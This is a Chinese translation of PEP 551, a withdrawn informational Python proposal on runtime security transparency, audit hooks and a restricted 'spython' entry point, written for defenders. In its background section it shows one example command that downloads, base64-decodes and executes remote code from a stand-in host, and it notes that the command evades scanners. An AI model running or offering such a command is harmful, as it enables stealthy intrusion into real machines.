PEP 551 – Python 运行时安全透明度
- 作者:
- Steve Dower <steve.dower at python.org>
- 状态:
- 已撤回
- 类型:
- 信息性
- 创建日期:
- 2017年8月23日
- Python 版本:
- 3.7
- 发布历史:
- 2017年8月24日,2017年8月28日
注意
本 PEP 已撤回。有关将 CPython 集成到安全环境中的信息,我们建议咨询您自己的安全专家。
与 PEP 578 的关系
本 PEP 自发布以来已拆分为两部分。
有关建议添加到 Python 下一个版本的审计 API,请参阅 PEP 578。
这现在是一个信息性 PEP,为计划将 Python 集成到其安全或审计环境中的人提供指导。
摘要
本 PEP 描述了安全透明度的概念及其在 Python 运行时中的应用。在将 Python 集成到本来安全和/或受监控的环境中时,运行时所采取的操作的可见性是无价的。
在检测、识别和分析 Python 滥用方面,PEP 578 中描述的审计挂钩是必不可少的组成部分。虽然挂钩本身是中立的(并非每个报告的事件都是固有的滥用),但它们为负责监控整个系统或网络的人员提供了重要的背景信息。拥有足够的透明度,攻击者将无法再隐藏。
背景
软件漏洞通常被视为能够实现远程或提权代码执行的错误。然而,在我们现代互联的世界中,更危险的漏洞是那些能够实现高级持续威胁 (APT) 的漏洞。当攻击者能够渗透网络,在一台或多台机器上建立他们的软件,并随着时间的推移提取数据或情报时,就实现了 APT。一些 APT 可能会通过恶意破坏数据(例如,WannaCrypt)或硬件(例如,Stuxnet)来暴露自己。大多数试图隐藏其存在并避免检测。APT 通常结合使用传统漏洞、社会工程、网络钓鱼(或鱼叉式网络钓鱼)、彻底的网络分析以及对配置错误环境的理解来建立自己并开展工作。
最初受感染的机器可能不是最终目标,并且可能不需要特殊权限。例如,以开发人员机器上的非管理用户身份建立的 APT 可能能够通过正常部署渠道传播到生产机器。APT 通常会尽可能多地存在于机器上,仅仅是存在的数量就使得它们难以完全清除。
无论攻击者是寻求直接损害还是隐藏其踪迹,检测的最大障碍都是缺乏洞察力。拥有大型网络的系统管理员依靠分布式日志来了解他们的机器正在做什么,但日志通常被过滤为只显示错误情况。试图避免检测的 APT 很少会生成错误或异常事件。审查正常操作日志需要大量的精力,尽管许多公司正在努力实现操作日志中的自动异常检测。攻击者偏爱的工具是那些已经安装在目标机器上的工具,因为这些工具的日志消息通常是预期的,并且在正常使用中会被忽略。
此时,我们不会再花费时间讨论 APT 的存在或不适用于本 PEP 的方法和缓解措施。有关该领域的更多信息,我们建议阅读或观看“延伸阅读”中列出的资源。
Python 是攻击者特别感兴趣的工具,因为它在服务器和开发人员机器上的普遍存在,它能够执行作为数据提供的任意代码(而不是本机二进制文件),以及它完全缺乏内部审计。这使得攻击者可以通过单个命令下载、解密和执行恶意代码
python -c "import urllib.request, base64;
exec(base64.b64decode(
urllib.request.urlopen('http://my-exploit/py.b64')
).decode())"
此命令目前绕过大多数依赖可识别代码通过网络连接读取或写入磁盘的防恶意软件扫描程序(base64 通常足以绕过这些检查)。它还绕过文件访问控制列表或权限(没有文件访问发生)、批准的应用程序列表(假设 Python 已获批准用于其他用途)以及自动化审计或日志记录(假设 Python 允许访问互联网或访问本地网络上的另一台机器以获取其有效载荷)等保护。
安全社区的普遍共识是,完全阻止攻击是不可行的,防御者应该假设他们通常只会在攻击成功后才能检测到攻击。这被称为“假设被入侵”的心态。[1] 在这种情况下,沙盒和输入验证等保护措施已经失败,重要的任务是检测、跟踪和最终清除恶意代码。为此,Python 所需的主要功能是安全透明度:能够查看 Python 运行时正在执行的哪些操作可能表明异常或恶意使用。阻止此类使用是宝贵的,但次要于了解其正在发生的需求。
按重要性递增的顺序总结目标
- 防止恶意使用是宝贵的
- 检测恶意使用很重要
- 检测绕过检测的尝试是至关重要的
PowerShell 是解决这些挑战的脚本引擎的一个例子,它最近已得到增强,以实现类似的透明度和预防目标。[2]
通常,应用程序和系统配置将决定脚本引擎中的哪些事件值得记录。但是,鉴于许多日志事件的价值在检测到攻击后才被识别,因此尽可能多地捕获并过滤视图而不是在源头过滤很重要(请参阅“延伸阅读”中的“No Easy Breach”视频)。始终感兴趣的事件包括绕过审计的尝试、加载和执行未正确签名或受访问控制的代码的尝试、使用不常见的操作系统功能(例如调试或进程间检查工具)、大多数网络访问和 DNS 解析,以及在本地机器上创建和隐藏文件或配置设置的尝试。
总而言之,防御者需要审计 Python 的特定用途,以检测异常或恶意使用。通过 PEP 578,Python 运行时获得了提供此功能的能力。本 PEP 的目标是帮助系统管理员部署安全透明的 Python 版本,该版本可以与其现有的审计和保护系统集成。
在 Windows 上,通过 PEP 578 添加的挂钩可以集成的一些特定功能包括
在 Linux 上,可以集成的一些特定功能是
在 macOS 上,可以集成的一些功能是
总的来说,在生产机器上启用这些平台特定功能对系统管理员来说极具吸引力,并将使 Python 成为应用程序开发人员更值得信赖的依赖项。
仅靠 Python 无法完全实现真正的安全透明度。运行时可以审计任意数量的事件,但除非对日志进行审查和分析,否则没有价值。Python 可能会以安全的名义施加限制,但可用性可能会受到影响。不同的平台和环境将需要某些安全功能的不同实现,应鼓励拥有资源完全自定义其运行时的组织这样做。
摘要建议
这些将在后面的部分中更详细地讨论,但在此处提出以框定整体讨论。
系统管理员应提供并使用一个备用入口点(除了 python.exe 或 pythonX.Y),以减少受攻击面并安全地启用审计挂钩。有关可以限制的内容的讨论请参见下面的“限制入口点”。
系统管理员应使用其操作系统提供的所有可用措施来防止对其 Python 安装进行修改,例如文件权限、访问控制列表和签名验证。
系统管理员应记录所有内容并尽快将日志收集到中央位置——避免将日志保存在外围机器上。
系统管理员应优先考虑滥用的 _检测_,而不是滥用的 _预防_。
限制入口点
机器上存在 Python 所暴露的主要漏洞之一是能够在不被系统检测或验证的情况下执行任意代码。这变得显著更容易,因为默认入口点(Windows 上的 python.exe 和其他平台上的 pythonX.Y)允许从命令行、标准输入执行,并且默认情况下不启用任何挂钩。
我们的建议是,生产机器应使用修改后的入口点,而不是默认入口点。在开发环境之外,很少需要默认入口点提供的灵活性。
在本节中,我们描述了一个假设的 spython 入口点(Windows 上的 spython.exe;其他平台上的 spythonX.Y),它提供了生产机器推荐的安全透明度级别。相关的示例实现展示了此处描述的许多功能,尽管为了避免平台特定代码而做了一些让步。充分的实现必然需要与平台特定安全功能进行一些集成。
官方发行版默认不包含任何 spython,但第三方发行版可能包含使用相同名称的适当修改的入口点。
移除大多数命令行参数
spython 入口点要求将脚本文件作为第一个参数传递,并且不允许任何选项在其前面。这可以防止从内存数据或非脚本文件(例如可以使用 -m pickle <path> 执行的 pickle)执行任意代码。
选项 -B(不写入字节码)、-E(忽略环境变量)和 -s(无用户站点)被假定。
如果存在与进程完全路径相同且带 ._pth 后缀的文件(Windows 上为 spython._pth,Linux 上为 spythonX.Y._pth),它将按照目前 针对 Windows 的规则 初始化 sys.path。
为了演示,spython 的示例实现还允许使用 -i 选项以交互模式启动。这不建议用于受限入口点。
记录审计事件
在初始化之前,spython 设置了一个审计挂钩,将所有审计事件写入 OS 管理的日志文件。在 Windows 上,这是事件跟踪功能,[7]_ 在其他平台上,它们会写入 syslog。[11]_ 日志会尽可能频繁地从机器复制,以防止在攻击者试图清除本地日志或阻止合法访问机器时信息丢失。
审计挂钩还将中止所有 sys.addaudithook 事件,阻止添加任何其他挂钩。
日志挂钩是用本地代码编写的,并在解释器初始化之前配置。这是确保在没有审计的情况下不执行任何 Python 代码,以及 Python 代码无法阻止挂钩注册的唯一机会。
我们的主要目标是记录所有 Python 进程所采取的所有操作,以便可以对记录的事件进行离线检测。记录所有事件也允许进行更深入的分析和使用机器学习算法。这些对于检测持续性攻击很有用,其中攻击者打算在受保护的机器中停留一段时间,以及用于后期分析以确定成功攻击造成的影響和暴露。
为了演示,spython 的示例实现写入本地机器上的日志文件。当使用 -i 启动时,示例实现将所有审计事件写入标准错误而不是日志文件。SPYTHONLOG 环境变量可用于指定日志文件位置。
限制可导入模块
同样在初始化之前,spython 设置了一个 open-for-import 挂钩,用于验证所有通过 os.open_for_import 打开的文件。此实现要求所有文件都具有 .py 后缀(防止使用缓存的字节码),并将引发一个自定义审计事件 spython.open_for_import,其中包含 (filename, True_if_allowed)。
打开文件后,将其所有内容读入内存中的单个缓冲区,然后关闭文件。
编译稍后将触发 compile 事件,因此无需使用也适用于动态生成代码的机制来验证内容。但是,如果存在源文件或文件哈希的白名单,则应在此处执行其他验证机制,例如 DeviceGuard [4]。
限制 pickle 中的全局变量
spython 入口点将中止所有使用默认实现的 pickle.find_class 事件。除非明确添加,否则覆盖将不会引发审计事件,因此它们将继续被允许。
阻止 os.system
spython 入口点中止所有 os.system 调用。
这里应该指出,subprocess.Popen(shell=True) 是允许的(尽管通过平台特定的进程创建事件记录)。做出这种权衡是因为诱导正在运行的应用程序使用单个字符串参数调用 os.system 比使用多个参数的函数要简单得多,因此它更有可能被用作漏洞利用的一部分。在生产代码中使用 os.system 也几乎没有理由,而 subprocess.Popen 有大量的合法用途。尽管指示使用 shell=True 参数的日志应更仔细地审查。
鼓励系统管理员在限制和检测之间进行此类权衡,并且通常应优先选择检测。
一般建议
除了上一节中提出的建议之外,其他建议很难给出,因为任何环境的理想配置都取决于系统管理员管理、监控和响应其自身网络活动的能力。尽管如此,我们在此尝试为将 Python 集成到完整系统中提供一些背景和指导。
本节提供了使用 应该(或 不应该)一词的建议,表示我们认为忽略该建议是危险的,以及 可以,表示对于高价值系统应考虑该建议。“系统管理员”一词指的是负责在整个网络中部署 Python 的人;不同的组织可能对负责人员有不同的称谓。
系统管理员 应该 构建自己的入口点,可能从 spython 源代码开始,并直接与其环境中的安全系统进行接口。集成越紧密,发现允许攻击者绕过这些系统的漏洞的可能性就越小。特别是,入口点 不应该 从当前环境(例如环境变量)获取任何设置,除非这些设置以其他方式受到保护,防止修改。
审计消息 不应该 写入本地文件。spython 入口点这样做是为了示例和测试目的。在生产机器上,应使用旨在用于此目的的工具,例如 ETW [7] 或 auditd [12]。
默认的 python 入口点 不应该 部署到生产机器,但可以提供给开发人员在非生产机器上使用和测试 Python。系统管理员 可以 考虑将其入口点的限制较少的版本部署到开发人员机器,因为任何连接到您网络的系统都是潜在目标。系统管理员 可以 将其自己的入口点部署为 python,以模糊包含额外审计的事实。
Python 部署在部署后和使用期间 应该 使用任何可用的平台功能设置为只读。
在支持的平台上,系统管理员 应该 在 Python 部署中的每个文件中包含签名,理想情况下使用私有证书进行验证。例如,Windows 支持在可执行文件中嵌入签名并为其他文件使用目录,并且可以使用 DeviceGuard [4] 自动验证签名或使用 open_for_import 挂钩进行验证。
系统管理员 应该 尽可能多地记录审计事件,并且 应该 经常将日志从本地机器复制出去。即使没有持续监控日志是否存在可疑活动,一旦检测到攻击,启用审计就为时已晚。审计挂钩 不应该 尝试预先过滤事件,因为即使是良性事件在分析攻击进展时也很有用。(观看“延伸阅读”下的“No Easy Breach”视频,深入了解这方面的内容。)
如果大多数操作在正常使用期间可能发生,或者如果阻止它们会鼓励攻击者绕过它们,则 不应该 中止这些操作。如前所述,感知比预防更重要。系统管理员 可以 审计其 Python 代码并中止已知永远不会故意使用的操作。
审计挂钩 应该 在尝试中止之前将事件写入日志。如前所述,记录恶意行为比阻止它们更重要。
系统管理员 应该 识别事件之间的关联,因为关联事件的更改可能表明滥用。例如,模块导入通常会触发 import 审计事件,然后是 open_for_import 调用,通常是 compile 事件。尝试绕过审计通常会抑制部分而非全部这些事件。因此,如果日志包含 import 事件但没有 compile 事件,则可能需要进行调查。
第一个审计挂钩 应该 在调用 Py_Initialize 之前在 C 代码中设置,并且该挂钩 应该 无条件地中止 sys.addloghook 事件。Python 接口主要用于测试和开发。
为了防止在非生产机器上添加审计挂钩,入口点 可以 添加一个审计挂钩,中止 sys.addloghook 事件,但除此之外不执行任何操作。
在生产机器上,可以在调用 Py_Initialize 之前在 C 代码中设置一个非验证的 open_for_import 挂钩。这可以防止以后的代码覆盖该挂钩,但是,记录 setopenforexecutehandler 事件很有用,因为不应该有任何代码需要调用它。建议至少使用 spython 中的示例 open_for_import 挂钩实现。
由于 importlib 对 open_for_import 的使用可以通过猴子补丁轻易绕过,因此 应该 使用审计挂钩来检测类型对象上的属性更改。
不该做的事
本节讨论我们明确 不 提出的常见或“显然很好”的建议。这些范围从无用或不正确到在任何实际环境中都不可行的想法。
不要 尝试在 Python 运行时中实现沙箱。长期以来一直尝试允许任意代码有限地使用 Python 功能(例如 [14]),但没有普遍成功。最好的选择是在具有至少管理程序级别隔离的沙盒环境中运行不受限制的 Python,或者完全阻止未经授权的代码启动。
不要 依赖静态分析在使用前验证不可信代码。最好的选择是预先授权可信代码,例如使用代码签名,如果不可能,则识别已知恶意代码,例如使用防恶意软件扫描程序。
不要 在未先记录事件的情况下使用审计挂钩中止操作。您会后悔不知道您的进程为何消失。
[TODO - 更多糟糕的建议]
延伸阅读
- 重新定义恶意软件:旧术语带来新威胁
- 作者:Aviv Raff,SecurityWeek,2014年1月29日
本文及其链接的文章是关于 APT 崛起及其与“传统”恶意软件区别的高级摘要。
http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats
- 网络攻击剖析
- 作者:FireEye,2017年8月23日访问
APT 使用的技术摘要,以及一些相关白皮书的链接。
https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html
- 自动流量日志分析:高级威胁防护的必备工具
- 作者:Aviv Raff,SecurityWeek,2014年5月8日
详细日志记录和自动分析价值的高级摘要。
http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection
- 无懈可击:史诗般调查的挑战与经验教训
- Matt Dunwoody 和 Nick Carr 为 Mandiant 在 SchmooCon 2016 上发布的视频
详细介绍了检测和清除 APT 的过程和工具。
- 瓦解国家黑客
- Rob Joyce 为 NSA 在 USENIX Enigma 2016 上发布的视频
来自 NSA 量身定制访问行动负责人的良好安全实践、能力和建议。
参考资料
致谢
感谢所有参与帮助使 Python 运行时在生产中使用更安全的微软人员,特别感谢 James Powell 做了大量的初步研究、分析和实现,Lee Holmes 对信息安全领域和 PowerShell 的响应提供了宝贵的见解,以及 Brett Cannon 提供了约束和基础讨论。
版权
版权所有 (c) 2017-2018 Microsoft Corporation。本材料仅可根据 Open Publication License,v1.0 或更高版本中规定的条款和条件分发(最新版本目前可在 http://www.opencontent.org/openpub/ 获取)。
来源:https://github.com/python/peps/blob/main/peps/pep-0551.rst